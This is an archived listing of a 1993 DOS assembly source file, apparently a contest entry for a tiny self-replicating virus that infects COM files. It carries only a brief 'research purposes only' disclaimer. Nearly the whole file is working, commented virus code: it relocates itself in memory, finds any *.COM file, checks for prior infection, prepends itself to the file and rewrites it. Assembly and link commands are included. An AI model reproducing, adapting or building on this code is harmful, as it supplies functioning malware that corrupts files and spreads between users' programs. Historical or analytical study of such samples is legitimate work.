home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT13.ZIP / LITTLE.ASM < prev    next >
Assembly Source File  |  1993-01-28  |  7KB  |  153 lines

  1. ;A small (139 byte) virus with minimal required functionality.
  2.  
  3. ;This Virus for research purposes only. Please do not release!
  4. ;Please execute it only on a carefully controlled system, and only
  5. ;if you know what you're doing!
  6.  
  7. ;An example for
  8.  
  9. ;#######################################################
  10. ;#    THE FIRST INTERNATIONAL VIRUS WRITING CONTEST    #
  11. ;#                        1 9 9 3                      #
  12. ;#                      sponsored by                   #
  13. ;#            American Eagle Publications, Inc.        #
  14. ;#######################################################
  15.  
  16. ;Assemble this file with TASM 2.0 or higher: "TASM LITTLE;"
  17. ;Link as "TLINK /T LITTLE;"
  18.  
  19. ;Basic explanation of how this virus works:
  20. ;
  21. ;The virus takes control when the program first starts up. All of its code is
  22. ;originally located at the start of a COM file that has been infected. When
  23. ;the virus starts, it takes over a segment 64K above the one where the program
  24. ;was loaded by DOS. It copies itself up there, and then searches for an
  25. ;uninfected file. To determine if a file is infected, it checks the first two
  26. ;bytes to see if they are the same as its first two bytes. It reads the file
  27. ;into memory right above where it is sitting (at 100H in the upper segment).
  28. ;If not already infected, it just writes itself plus the file it infected back
  29. ;out to disk under the same file name. Then it moves the host in the lower
  30. ;segment back to offset 100H and executes it.
  31.  
  32.  
  33.                 .model  tiny            ;Tiny model to create a COM file
  34.  
  35.                 .code
  36.  
  37. ;DTA definitions
  38. DTA             EQU     0000H           ;Disk transfer area
  39. FSIZE           EQU     DTA+1AH         ;file size location in file search
  40. FNAME           EQU     DTA+1EH         ;file name location in file search
  41.  
  42.  
  43.                 ORG     100H
  44.  
  45. ;******************************************************************************
  46. ;The virus starts here.
  47.  
  48. VIRSTART:
  49.                 mov     ax,ds
  50.                 add     ax,1000H
  51.                 mov     es,ax                           ;upper segment is this one + 1000H
  52.                 mov     si,100H                         ;put virus in the upper segment
  53.                 mov     di,si                           ;at offset 100H
  54. ;               mov     cl,BYTE (OFFSET HOST AND 0FFH)  ;can't code this with TASM
  55.                 mov     cl,8BH                          ;we can assume ch=0
  56.                 rep     movsb                           ;this will louse the infection up if run under debug!
  57.                 mov     ds,ax                           ;set ds to high segment
  58.                 push    ds
  59.                 mov     ax,OFFSET FIND_FILE
  60.                 push    ax
  61.                 retf                                    ;jump to high memory segment
  62.  
  63. ;Now it's time to find a viable file to infect. We will look for any COM file
  64. ;and see if the virus is there already.
  65. FIND_FILE:
  66.                 xor     dx,dx                           ;move dta to high segment
  67.                 mov     ah,1AH                          ;so we don't trash the command line
  68.                 int     21H                             ;which the host is expecting
  69.                 mov     dx,OFFSET COMFILE
  70.                 mov     ch,3FH                          ;search for any file, no matter what attribute (note: cx=0 before this instr)
  71.                 mov     ah,4EH                          ;DOS search first function
  72.                 int     21H
  73. CHECK_FILE:     jc      ALLDONE                         ;no COM files to infect
  74.  
  75.                 mov     dx,FNAME                        ;first open the file
  76.                 mov     ax,3D02H                        ;r/w access open file, since we'll want to write to it
  77.                 int     21H
  78.                 jc      NEXT_FILE                       ;error opening file - quit and say this file can't be used
  79.                 mov     bx,ax                           ;put file handle in bx, and leave it there for the duration
  80.  
  81.                 mov     di,FSIZE
  82.                 mov     cx,[di]                         ;get file size for reading into buffer
  83.                 mov     dx,si                           ;and read file in at HOST in new segment (note si=OFFSET HOST)
  84.                 mov     ah,3FH                          ;DOS read function
  85.                 int     21H
  86.                 mov     ax,[si]                         ;si=OFFSET HOST here
  87.                 jc      NEXT_FILE                       ;skip file if error reading it
  88.  
  89.                 cmp     ax,WORD PTR [VIRSTART]          ;see if infected already
  90.                 jnz     INFECT_FILE                     ;nope, go do it
  91.  
  92.                 mov     ah,3EH                          ;else close the file
  93.                 int     21H                             ;and fall through to search for another file
  94.  
  95. NEXT_FILE:      mov     ah,4FH                          ;look for another file
  96.                 int     21H
  97.                 jmp     SHORT CHECK_FILE                ;and go check it out
  98.  
  99. COMFILE         DB      '*.COM',0
  100.  
  101. ;When we get here, we've opened a file successfully, and read it into memory.
  102. ;In the high segment, the file is set up exactly as it will look when infected.
  103. ;Thus, to infect, we just rewrite the file from the start, using the image
  104. ;in the high segment.
  105. INFECT_FILE:
  106.                 xor     cx,cx
  107.                 mov     dx,cx                           ;reset file pointer to start of file
  108.                 mov     ax,4200H
  109.                 int     21H
  110.  
  111.                 mov     ah,40H
  112.                 mov     dx,100H
  113.                 mov     cx,WORD PTR [di]                ;adjust size of file for infection
  114.                 add     cx,OFFSET HOST - 100H
  115.                 int     21H                             ;write infected file
  116.  
  117.                 mov     ah,3EH                          ;close the file
  118.                 int     21H
  119.  
  120. ;The infection process is now complete. This routine moves the host program
  121. ;down so that its code starts at offset 100H, and then transfers control to it.
  122. ALLDONE:
  123.                 mov     ax,ss                   ;set ds, es to low segment again
  124.                 mov     ds,ax
  125.                 mov     es,ax
  126.                 push    ax                      ;prep for retf to host
  127.                 shr     dx,1                    ;restore dta to original value
  128.                 mov     ah,1AH                  ;for compatibility
  129.                 int     21H
  130.                 mov     di,100H                 ;prep to move host back to original location
  131.                 push    di
  132. ;                mov     cx,sp                   ;move code, but don't trash the stack
  133. ;                sub     cx,si
  134.                 mov     cx,0FE6FH               ;hand code the above to save a byte
  135.                 rep     movsb                   ;move code
  136.                 retf                            ;and return to host
  137.  
  138. ;******************************************************************************
  139. ;The host program starts here. This one is a dummy that just returns control
  140. ;to DOS.
  141.  
  142. HOST:
  143.                 mov     ax,4C00H                ;Terminate, error code = 0
  144.                 int     21H
  145.  
  146. HOST_END:
  147.  
  148.                 END     VIRSTART
  149.  
  150.  
  151.  
  152.  
  153.